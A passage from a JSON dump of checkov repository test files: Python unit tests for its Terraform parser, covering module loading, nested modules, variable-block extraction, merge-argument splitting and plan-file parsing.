var.influxdb_ingress_annotations_kubernetes_ingress_class\n  }\n}\n        \"\"\")\n        non_malformed_definitions = validate_malformed_definitions(tf)\n        definitions = {\n            '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions)\n        }\n        module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform')\n        print(module)\n        self.assertEqual(1, len(module.blocks))\n        self.assertEqual('ingress.annotations.kubernetes\\\\.io/ingress\\\\.class', module.blocks[0].attributes['set.name'])\n\n    def test_module_with_resource_type_attribute(self):\n        tf = hcl2.loads(\"\"\"\nresource \"azurerm_security_center_subscription_pricing\" \"example\" {\n  tier = \"free\"\n  resource_type = \"VirtualMachines\"\n  extension {\n    name = \"ContainerRegistriesVulnerabilityAssessments\"\n  }\n}\n        \"\"\")\n        non_malformed_definitions = validate_malformed_definitions(tf)\n        definitions = {\n            '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions)\n        }\n        module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform')\n        self.assertEqual(1, len(module.blocks))\n        self.assertEqual(['VirtualMachines'], module.blocks[0].attributes['_resource_type'])\n\n    def test_parse_hcl_module_serialize_definitions(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"parser_nested_modules\")\n        self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR)\n        tf_definitions = parser.parse_directory(directory=directory, out_evaluations_context={})\n        tf_definitions = clean_parser_types(tf_definitions)\n        tf_definitions_encoded = serialize_definitions(tf_definitions)\n        self.assertEqual(tf_definitions_encoded, tf_definitions)\n"
  },
  {
    "path": "tests/terraform/parser/test_new_parser_modules.py",
    "content": "import os\nimport shutil\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nimport pytest\n\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey, TFModule\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.tf_parser import TFParser\n\n\n@pytest.fixture\ndef tmp_path(request, tmp_path: Path):\n    # https://pytest.org/en/latest/how-to/unittest.html#mixing-pytest-fixtures-into-unittest-testcase-subclasses-using-marks\n    request.cls.tmp_path = tmp_path\n\n\n@pytest.mark.usefixtures(\"tmp_path\")\nclass TestParserInternals(unittest.TestCase):\n    expected_source_modules = {0: set(), 1: set(), 2: set(), 3: {0}, 4: {0}, 5: {0}, 6: {0}, 7: {1}, 8: {1}, 9: {1},\n                               10: {1}, 11: {3}, 12: {3}, 13: {3}, 14: {7}, 15: {7}, 16: {7}, 17: {4}, 18: {4}, 19: {4},\n                               20: {8}, 21: {8}, 22: {8}, 23: {8}, 24: {8}}\n\n    def setUp(self) -> None:\n        from checkov.terraform.module_loading.registry import ModuleLoaderRegistry\n\n        # needs to be reset, because the cache belongs to the class not instance\n        ModuleLoaderRegistry.module_content_cache = {}\n\n        self.resources_dir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"./resources\"))\n        self.external_module_path = ''\n\n    def tearDown(self) -> None:\n        if os.path.exists(self.external_module_path):\n            shutil.rmtree(self.external_module_path)\n\n    def test_load_inner_registry_module_new_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"registry_security_group_inner_module\")\n        self.external_module_path = os.path.join(self.tmp_path, DEFAULT_EXTERNAL_MODULES_DIR)\n        out_definitions = parser.parse_directory(\n            directory=directory,\n            out_evaluations_context={},\n            download_external_modules=True,\n            external_modules_download_path=self.external_module_path)\n        self.assertEqual(11, len(list(out_definitions.keys())))\n        expected_remote_module_path = f'{self.external_module_path}/github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109'\n        expected_inner_remote_module_path = f'{expected_remote_module_path}/modules/http-80'\n        expected_main_file = os.path.join(directory, 'main.tf')\n\n        assert TFDefinitionKey(file_path=expected_main_file) in out_definitions\n\n        assert TFDefinitionKey(file_path=f\"{expected_inner_remote_module_path}/auto_values.tf\", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_inner_remote_module_path}/main.tf\", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_inner_remote_module_path}/outputs.tf\", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_inner_remote_module_path}/variables.tf\", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_inner_remote_module_path}/versions.tf\", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions\n\n        assert TFDefinitionKey(file_path=f\"{expected_remote_module_path}/main.tf\", tf_source_modules=TFModule(name='sg', path=f\"{expected_inner_remote_module_path}/main.tf\", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_remote_module_path}/outputs.tf\", tf_source_modules=TFModule(name='sg', path=f\"{expected_inner_remote_module_path}/main.tf\", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_remote_module_path}/rules.tf\", tf_source_modules=TFModule(name='sg', path=f\"{expected_inner_remote_module_path}/main.tf\", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_remote_module_path}/variables.tf\", tf_source_modules=TFModule(name='sg', path=f\"{expected_inner_remote_module_path}/main.tf\", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions\n        assert TFDefinitionKey(file_path=f\"{expected_remote_module_path}/versions.tf\", tf_source_modules=TFModule(name='sg', path=f\"{expected_inner_remote_module_path}/main.tf\", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions\n\n    def test_invalid_module_sources_new_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"failing_module_address\")\n        self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR)\n        out_definitions = parser.parse_directory(\n            directory=directory,\n            out_evaluations_context={},\n            download_external_modules=True,\n            external_modules_download_path=DEFAULT_EXTERNAL_MODULES_DIR)\n        # check that only the original file was parsed successfully without getting bad external modules\n        self.assertEqual(1, len(list(out_definitions.keys())))\n\n    def test_malformed_output_blocks_new_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"malformed_outputs\")\n        self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR)\n        out_definitions = parser.parse_directory(\n            directory=directory,\n            out_evaluations_context={},\n            download_external_modules=True,\n            external_modules_download_path=DEFAULT_EXTERNAL_MODULES_DIR)\n        file_path, entity_definitions = next(iter(out_definitions.items()))\n        self.assertEqual(2, len(list(out_definitions[file_path]['output'])))\n\n    def test_load_local_module_new_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"local_module\")\n        out_definitions = parser.parse_directory(directory=directory, out_evaluations_context={})\n\n        self.assertEqual(len(out_definitions), 3)\n        self.assertEqual(len(parser.loaded_files_map), 2)\n\n        local_module_path = os.path.join(directory, 'main.tf')\n        module_path = os.path.join(directory, \"module/main.tf\")\n        main_key = TFDefinitionKey(file_path=local_module_path)\n        key_idx_0 = TFDefinitionKey(file_path=module_path, tf_source_modules=TFModule(path=local_module_path, name='mod'))\n        key_idx_1 = TFDefinitionKey(file_path=module_path, tf_source_modules=TFModule(path=local_module_path, name='mod2'))\n\n        assert main_key in out_definitions\n        assert key_idx_0 in out_definitions\n        assert key_idx_1 in out_definitions\n        assert out_definitions[main_key]['module'][0]['mod']['__resolved__'] == [key_idx_0]\n        assert out_definitions[main_key]['module'][1]['mod2']['__resolved__'] == [key_idx_1]\n\n        assert parser.external_modules_source_map == {(os.path.join(directory, 'module'), 'latest'): os.path.join(directory, 'module')}\n        assert parser.external_vars == {}\n        assert parser.keys_to_remove == {TFDefinitionKey(file_path=module_path)}\n        assert parser._parsed_directories == {\n            directory,\n            os.path.join(directory, 'module')\n        }\n\n    def test_load_nested_module_new_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"parser_nested_modules\")\n        o_definitions = parser.parse_directory(directory=directory, out_evaluations_context={})\n\n        self.assertEqual(len(o_definitions), 5)\n        self.assertEqual(len(parser.loaded_files_map), 5)\n\n        main_module_path = os.path.join(directory, 'main.tf')\n        module2_main_path = os.path.join(directory, 'module/module2/main.tf')\n        module2_var_path = os.path.join(directory, 'module/module2/variable.tf')\n        module1_main_path = os.path.join(directory, 'module/main.tf')\n        module1_var_path = os.path.join(directory, 'module/variable.tf')\n\n        main_module = TFDefinitionKey(file_path=main_module_path)\n        module_main_key = TFDefinitionKey(file_path=module1_main_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module'))\n        module_var_key = TFDefinitionKey(file_path=module1_var_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module'))\n        module2_main_key = TFDefinitionKey(file_path=module2_main_path, tf_source_modules=TFModule(path=module1_main_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module')))\n        module2_var_key = TFDefinitionKey(file_path=module2_var_path, tf_source_modules=TFModule(path=module1_main_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module')))\n\n        assert main_module in o_definitions\n        assert module_main_key in o_definitions\n        assert module_var_key in o_definitions\n        assert module2_main_key in o_definitions\n        assert module2_var_key in o_definitions\n\n        assert o_definitions[main_module]['module'][0]['s3_module']['__resolved__'] == [module_main_key, module_var_key]\n        assert o_definitions[module_main_key]['module'][0]['inner_s3_module']['__resolved__'] == [module2_main_key, module2_var_key]\n\n    def test_load_nested_dup_module(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"parser_dup_nested\")\n        o_definitions = parser.parse_directory(directory=directory, out_evaluations_context={})\n\n        self.assertEqual(len(o_definitions), 7)\n        self.assertEqual(len(parser.loaded_files_map), 3)\n\n        main_module_path = os.path.join(directory, 'main.tf')\n        module1_path = os.path.join(directory, 'module/main.tf')\n        module2_path = os.path.join(directory, 'module/module2/main.tf')\n\n        main_module = TFDefinitionKey(file_path=main_module_path)\n        module1_key0 = TFDefinitionKey(file_path=module1_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module'))\n        module1_key1 = TFDefinitionKey(file_path=module1_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module2'))\n        module2_key0_nest0 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module')))\n        module2_key1_nest0 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module2', nested_tf_module=TFModule(path=main_module_path, name='s3_module')))\n        module2_key0_nest1 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module2')))\n        module2_key1_nest1 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module2', nested_tf_module=TFModule(path=main_module_path, name='s3_module2')))\n\n        assert main_module in o_definitions\n        assert module1_key0 in o_definitions\n        assert module1_key1 in o_definitions\n        assert module2_key0_nest1 in o_definitions\n        assert module2_key1_nest1 in o_definitions\n        assert module2_key0_nest0 in o_definitions\n        assert module2_key1_nest0 in o_definitions\n\n    def test_tf_parser(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"parser_dup_nested\")\n        module, tf_definitions = parser.parse_hcl_module(source_dir=directory, source='terraform')\n\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(render_variables=True)\n\n        for i, vertex in enumerate(local_graph.vertices):\n            assert vertex.source_module == self.expected_source_modules[i]\n\n        assert len(local_graph.edges) == 20\n\n        assert module\n        assert tf_definitions\n\n    def test_parser_with_tvars(self):\n        parser = TFParser()\n        directory = os.path.join(self.resources_dir, \"parser_tfvars\")\n        module, tf_definitions = parser.parse_hcl_module(source_dir=directory, source='terraform')\n        assert module\n\n    def test_backtrack_module(self):\n        # given\n        directory = os.path.join(self.resources_dir, \"parse_backtrack_module/example\")\n\n        # when\n        module, tf_definitions = TFParser().parse_hcl_module(\n            source_dir=directory,\n            source=\"terraform\",\n            download_external_modules=False,  # important to keep it 'False'\n        )\n\n        # then\n        assert module\n        assert len(tf_definitions) == 2  # need to be 2 files (the module reference and the actual module content)\n"
  },
  {
    "path": "tests/terraform/parser/test_parse_file_vs_dir.py",
    "content": "import os\nimport unittest\n\nfrom checkov.terraform.tf_parser import TFParser\n\n\nclass TestFileVsDirParser(unittest.TestCase):\n\n    def test_file_dir_parser_results_match(self):\n        parser = TFParser()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        file_path = current_dir + '/resources/parse_file_vs_dir/main.tf'\n        dir_path = current_dir + '/resources/parse_file_vs_dir'\n        tf_definitions_file = parser.parse_file(file_path, {})\n        _, tf_definitions_dir = parser.parse_hcl_module(dir_path, 'terraform')\n        self.assertDictEqual(tf_definitions_file, tf_definitions_dir.get(list(tf_definitions_dir.keys())[0]))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/parser/test_parser_internals.py",
    "content": "from pathlib import Path\nfrom typing import Dict\n\nfrom checkov.common.util.parser_utils import eval_string\nfrom checkov.terraform.tf_parser import load_or_die_quietly\n\n\ndef test_eval_string_to_list() -> None:\n    # given\n    expected = [\"a\", \"b\", \"c\"]\n\n    # when\n    actual = eval_string('[\"a\", \"b\", \"c\"]')\n\n    assert actual == expected\n\n\ndef test__load_or_die_quietly_with_bom() -> None:\n    # given\n    test_file = Path(__file__).parent / \"resources/file_bom/with_bom.tf\"\n    parsing_errors: Dict[str, Exception] = {}\n\n    # when\n    definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors)\n\n    # then\n    assert not parsing_errors\n    assert definition == {\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example\": {\"bucket\": [\"example\"], \"__start_line__\": 1, \"__end_line__\": 3},\n                },\n            }\n        ]\n    }\n\n\ndef test__load_or_die_quietly_without_bom() -> None:\n    # given\n    test_file = Path(__file__).parent / \"resources/file_bom/without_bom.tf\"\n    parsing_errors: Dict[str, Exception] = {}\n\n    # when\n    definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors)\n\n    # then\n    assert not parsing_errors\n    assert definition == {\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example\": {\"bucket\": [\"example\"], \"__start_line__\": 1, \"__end_line__\": 3},\n                },\n            }\n        ]\n    }\n\n\ndef test__load_or_die_quietly_with_timeout() -> None:\n    test_file = Path(__file__).parent / \"resources/hcl_timeout/main.tf\"\n    parsing_errors: Dict[str, Exception] = {}\n\n    # when\n    definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors)\n\n    # then\n    assert parsing_errors\n    assert str(test_file) in parsing_errors\n    assert 'seconds to parse' in str(parsing_errors[str(test_file)])"
  },
  {
    "path": "tests/terraform/parser/test_parser_var_blocks.py",
    "content": "import pprint\nimport unittest\n\nfrom typing import List, Tuple\n\nfrom checkov.common.util.parser_utils import VarBlockMatch as VBM, split_merge_args, find_var_blocks\n\n\nclass TestParserInternals(unittest.TestCase):\n    def test_split_merge_args(self):\n        cases: List[Tuple[str, List[str]]] = [\n            (\"local.one, local.two\",\n             [\"local.one\", \"local.two\"]),\n            (\"{Tag4 = \\\"four\\\"}, {Tag5 = \\\"five\\\"}\",\n             [\"{Tag4 = \\\"four\\\"}\", \"{Tag5 = \\\"five\\\"}\"]),\n            (\"{a=\\\"b\\\"}, {a=[1,2], c=\\\"z\\\"}, {d=3}\",\n             [\"{a=\\\"b\\\"}\", \"{a=[1,2], c=\\\"z\\\"}\", \"{d=3}\"]),\n            (\"local.common_tags, merge({Tag4 = \\\"four\\\"}, {Tag5 = \\\"five\\\"})\",\n             [\"local.common_tags\", \"merge({Tag4 = \\\"four\\\"}, {Tag5 = \\\"five\\\"})\"]),\n            (\", \",\n             None),\n            (\"\",\n             None),\n            (\", leading_comma\",\n             [\"leading_comma\"]),\n            (\"kinda_maybe_shouldnt_work_but_we_will_roll_with_it, \",        # <-- trailing comma\n             [\"kinda_maybe_shouldnt_work_but_we_will_roll_with_it\"]),\n            (\"local.one\",\n             [\"local.one\"]),\n            ('{\"a\": \"}, evil\"}',        # bracket inside string, should not be split\n             ['{\"a\": \"}, evil\"}']),\n            (\"{'a': '}, evil'}\",        # bracket inside string, should not be split\n             [\"{'a': '}, evil'}\"]),     # Note: these happen with native maps (see merge tests)\n            ('${merge({\\'a\\': \\'}, evil\\'})}',\n             ['${merge({\\'a\\': \\'}, evil\\'})}']),\n            ('local.common_tags,,{\\'Tag4\\': \\'four\\'},,{\\'Tag2\\': \\'Dev\\'},',\n             [\"local.common_tags\", \"{\\'Tag4\\': \\'four\\'}\", \"{\\'Tag2\\': \\'Dev\\'}\"])\n        ]\n        for case in cases:\n            actual = split_merge_args(case[0])\n            assert actual == case[1], f\"Case \\\"{case[0]}\\\" failed. Expected: {case[1]}  Actual: {actual}\"\n\n    def test_find_var_blocks(self):\n        cases: List[Tuple[str, List[VBM]]] = [\n            (\n                \"${local.one}\",\n                [\n                    VBM(\"${local.one}\", \"local.one\")\n                ]\n            ),\n            (\n                \"${merge({a=\\\"b\\\"}, {a=[1,2], c=\\\"z\\\"}, {d=3})}\",\n                [\n                    VBM(\"${merge({a=\\\"b\\\"}, {a=[1,2], c=\\\"z\\\"}, {d=3})}\",\n                        \"merge({a=\\\"b\\\"}, {a=[1,2], c=\\\"z\\\"}, {d=3})\")\n                ]\n            ),\n            (\n                \"\\\"string$ ${tomap({key=\\\"value\\\"})[key]} are fun\\\"\",\n                [\n                    VBM(\"${tomap({key=\\\"value\\\"})[key]}\", \"tomap({key=\\\"value\\\"})[key]\")\n                ]\n            ),\n            # This case highlights that inner evals should be returned\n            (\n                \"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\",\n                [\n                    VBM(\"${path.module}\", \"path.module\"),\n                    VBM(\"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\",\n                        \"filemd5(\\\"${path.module}/templates/some-file.json\\\")\")\n                ]\n            ),\n            (\n                \"${local.NAME[foo]}-${local.TAIL}${var.gratuitous_var_default}\",\n                [\n                    VBM(\"${local.NAME[foo]}\", \"local.NAME[foo]\"),\n                    VBM(\"${local.TAIL}\", \"local.TAIL\"),\n                    VBM(\"${var.gratuitous_var_default}\", \"var.gratuitous_var_default\")\n                ]\n            ),\n            (\n                \"${tostring(\\\"annoying {\\\")}\",\n                [\n                    VBM(\"${tostring(\\\"annoying {\\\")}\", \"tostring(\\\"annoying {\\\")\")\n                ]\n            ),\n            (\n                \"${tostring(\\\"annoying }\\\")}\",\n                [\n                    VBM(\"${tostring(\\\"annoying }\\\")}\", \"tostring(\\\"annoying }\\\")\")\n                ]\n            ),\n            (\n                \"${this-is-unterminated\",\n                []\n            ),\n            (\n                \"${merge({\\\"a\\\": \\\"}, evil\\\"},{\\\"b\\\": \\\"\\\\\\\" , evil\\\"})}\",\n                [\n                    VBM(\"${merge({\\\"a\\\": \\\"}, evil\\\"},{\\\"b\\\": \\\"\\\\\\\" , evil\\\"})}\",\n                        \"merge({\\\"a\\\": \\\"}, evil\\\"},{\\\"b\\\": \\\"\\\\\\\" , evil\\\"})\")\n                ]\n            ),\n            (\n                \"$${foo}\",          # escape interpolation\n                []\n            ),\n            (\n                '${merge({\\'a\\': \\'}, evil\\'})}',\n                [\n                    VBM('${merge({\\'a\\': \\'}, evil\\'})}', 'merge({\\'a\\': \\'}, evil\\'})')\n                ]\n            ),\n\n            # Ordered returning of sub-vars and then outer var.\n            (\n                \"${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                [\n                    VBM(\"local.common_tags\", \"local.common_tags\"),\n                    VBM(\"local.common_data_tags\", \"local.common_data_tags\"),\n                    VBM(\"${var.ENVIRONMENT}\", \"var.ENVIRONMENT\"),\n                    VBM(\"${var.REGION}\", \"var.REGION\"),\n                    VBM(\"${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                        \"merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})\")\n                ]\n            ),\n            (\n                \"${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                [\n                    VBM(\"${local.common_tags}\", \"local.common_tags\"),\n                    VBM(\"${local.common_data_tags}\", \"local.common_data_tags\"),\n                    VBM(\"${var.ENVIRONMENT}\", \"var.ENVIRONMENT\"),\n                    VBM(\"${var.REGION}\", \"var.REGION\"),\n                    VBM(\"${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                        \"merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})\")\n                ]\n            ),\n            (\n                '${merge(var.tags, map(\"Name\", \"${var.name}\", \"data_classification\", \"none\"))}',\n                [\n                    VBM(\"var.tags\", \"var.tags\"),\n                    VBM(\"${var.name}\", \"var.name\"),\n                    VBM('map(\"Name\", \"${var.name}\", \"data_classification\", \"none\")',\n                        'map(\"Name\", \"${var.name}\", \"data_classification\", \"none\")'),\n                    VBM('${merge(var.tags, map(\"Name\", \"${var.name}\", \"data_classification\", \"none\"))}',\n                        'merge(var.tags, map(\"Name\", \"${var.name}\", \"data_classification\", \"none\"))')\n                ]\n            ),\n\n            # Ternaries\n            (\n                '${var.metadata_http_tokens_required ? \"required\" : \"optional\"}',\n                [\n                    VBM('var.metadata_http_tokens_required', 'var.metadata_http_tokens_required'),\n                    VBM('${var.metadata_http_tokens_required ? \"required\" : \"optional\"}',\n                        'var.metadata_http_tokens_required ? \"required\" : \"optional\"')\n                ]\n            ),\n            (\n                '${1 + 1 == 2 ? \"required\" : \"optional\"}',\n                [\n                    VBM('1 + 1 == 2', '1 + 1 == 2'),\n                    VBM('${1 + 1 == 2 ? \"required\" : \"optional\"}', '1 + 1 == 2 ? \"required\" : \"optional\"')\n                ]\n            ),\n            (\n                '${true ? \"required\" : \"optional\"}',\n                [\n                    VBM('${true ? \"required\" : \"optional\"}', 'true ? \"required\" : \"optional\"')\n                ]\n            ),\n            (\n                '${false ? \"required\" : \"optional\"}',\n                [\n                    VBM('${false ? \"required\" : \"optional\"}', 'false ? \"required\" : \"optional\"')\n                ]\n            ),\n            # TODO: var -> comparison -> ternary\n            # (\n            #     '${local.empty != \"\" ? local.a : \"default value\"}',\n            #     [\n            #         VBM(\"local.empty\", \"local.empty\"),\n            #         VBM('local.empty != \"\"', 'local.empty != \"\"'),\n            #         VBM('${local.empty != \"\" ? local.a : \"default value\"}',\n            #             'local.empty != \"\" ? local.a : \"default value\"')\n            #     ]\n            # )\n        ]\n        for case in cases:\n            actual = find_var_blocks(case[0])\n            assert actual == case[1], \\\n                f\"Case \\\"{case[0]}\\\" failed ❌:\\n\" \\\n                f\"  Expected: \\n{pprint.pformat(case[1], indent=2)}\\n\\n\" \\\n                f\"  Actual: \\n{pprint.pformat(actual, indent=2)}\"\n            print(f\"Case \\\"{case[0]}: ✅\")\n"
  },
  {
    "path": "tests/terraform/parser/test_plan_parser.py",
    "content": "import copy\nimport os\nimport unittest\nfrom pathlib import Path\nfrom typing import Any\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.util.consts import TRUE_AFTER_UNKNOWN\nfrom checkov.terraform.plan_parser import parse_tf_plan, _sanitize_count_from_name, _handle_complex_after_unknown, \\\n    _update_after_unknown_in_complex_types\nfrom checkov.common.parsers.node import StrNode\n\n\nclass TestPlanFileParser(unittest.TestCase):\n\n    def test_tags_values_are_flattened(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_tags/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_resource_definition = tf_definition['resource'][0]\n        resource_definition = next(iter(file_resource_definition.values()))\n        resource_attributes = next(iter(resource_definition.values()))\n        resource_tags = resource_attributes['tags'][0]\n        for tag_key, tag_value in resource_tags.items():\n            if tag_key not in ['__startline__', '__endline__', '__file__', 'start_line', 'end_line']:\n                self.assertIsInstance(tag_value, StrNode)\n\n    def test_provider_is_included(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_tags/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_provider_definition = tf_definition['provider']\n        self.assertTrue(file_provider_definition)  # assert a provider exists\n        assert file_provider_definition[0].get('aws', {}).get('region', None) == ['us-west-2']\n\n    def test_plan_multiple_providers(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_multiple_providers/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        providers = tf_definition['provider']\n        self.assertEqual(len(providers), 3)\n        provider_names = []\n        provider_aliases = []\n        provider_addresses = []\n        for provider in providers:\n            key = next(iter(provider))\n            provider_names.append(key)\n            provider_aliases.append(provider[key]['alias'][0])\n            provider_addresses.append(provider[key]['__address__'])\n\n        self.assertEqual(provider_names, [\"aws\", \"aws\", \"aws\"])\n        self.assertEqual(provider_aliases, [\"default\", \"ohio\", \"oregon\"])\n        self.assertEqual(provider_addresses, [\"aws.default\", \"aws.ohio\", \"aws.oregon\"])\n\n    def test_more_tags_values_are_flattened(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_tags_variety/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        # TODO: this should also verify the flattening but at least shows it parses now.\n        assert True\n\n    # Check Plan Booleans are treated similar to normal Terraform Parser\n    # https://github.com/bridgecrewio/checkov/issues/1764\n    def test_simple_type_booleans_clean(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_booleans/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_resource_definition = tf_definition['resource'][0]\n        resource_definition = next(iter(file_resource_definition.values()))\n        resource_attributes = next(iter(resource_definition.values()))\n        self.assertTrue(resource_attributes['metadata'][0]['a'][0])\n        self.assertTrue(resource_attributes['metadata'][0]['b'][0])\n        self.assertFalse(resource_attributes['metadata'][0]['c'][0])\n        self.assertFalse(resource_attributes['metadata'][0]['d'][0])\n\n    def test_encodings(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        plan_files = ['tfplan_mac_utf8.json', 'tfplan_win_utf8.json', 'tfplan_win_utf16.json']\n\n        for plan_file in plan_files:\n            plan_path = os.path.join(current_dir, \"resources\", \"plan_encodings\", plan_file)\n            tf_definition, _ = parse_tf_plan(plan_path, {})\n            self.assertEqual(list(tf_definition['resource'][0].keys())[0], \"aws_s3_bucket\")\n\n    def test_provisioners(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        plan_files = ['tfplan.json', 'tfplan2.json']\n\n        for file in plan_files:\n            valid_plan_path = current_dir + \"/resources/plan_provisioners/\" + file\n            tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n            file_resource_definition = tf_definition['resource'][0]\n            resource_definition = next(iter(file_resource_definition.values()))\n            resource_attributes = next(iter(resource_definition.values()))\n            self.assertTrue(resource_attributes['provisioner'])\n\n    def test_module_with_connected_resources(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_module_with_connected_resources/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_resource_definition = tf_definition['resource'][1]\n        resource_definition = next(iter(file_resource_definition.values()))\n        resource_attributes = next(iter(resource_definition.values()))\n        self.assertTrue(resource_attributes['references_'])\n\n    @mock.patch.dict(os.environ, {\"EVAL_TF_PLAN_AFTER_UNKNOWN\": \"True\"})\n    def test_after_unknown_handling(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_after_unknown/tfplan.json\"\n        tf_definition, _ = parse_tf_plan(valid_plan_path, {})\n        file_resource_definition = tf_definition['resource'][0]\n        resource_definition = next(iter(file_resource_definition.values()))\n        resource_attributes = next(iter(resource_definition.values()))\n        self.assertEqual(resource_attributes['logging_config'][0][\"bucket\"], [TRUE_AFTER_UNKNOWN])\n\n    def test___sanitize_count_from_name_with_count(self):\n        name = \"aws_s3_bucket.bucket[0]\"\n        result = _sanitize_count_from_name(name)\n        self.assertEqual(result, \"aws_s3_bucket.bucket\")\n\n        name = \"aws_s3_bucket.bucket\"\n        result = _sanitize_count_from_name(name)\n        self.assertEqual(result, \"aws_s3_bucket.bucket\")\n\n    def test_handle_complex_after_unknown(self):\n        resource = {\n            \"tags\": [\n                [\n                    {\n                        \"custom_tags\": [\n                            {\"key\": \"Tag1\", \"value\": \"Value1\"},\n                            {\"key\": \"Tag2\", \"value\": \"Value2\"}\n                        ]\n                    }\n                ]\n            ]\n        }\n        key: str = 'tags'\n        value: list = [\n            {\n                'custom_tags': [\n                    {\"key\": \"Tag1\", \"value\": \"Value1\"},\n                    {\"key\": \"Tag2\", \"value\": \"Value2\"}\n                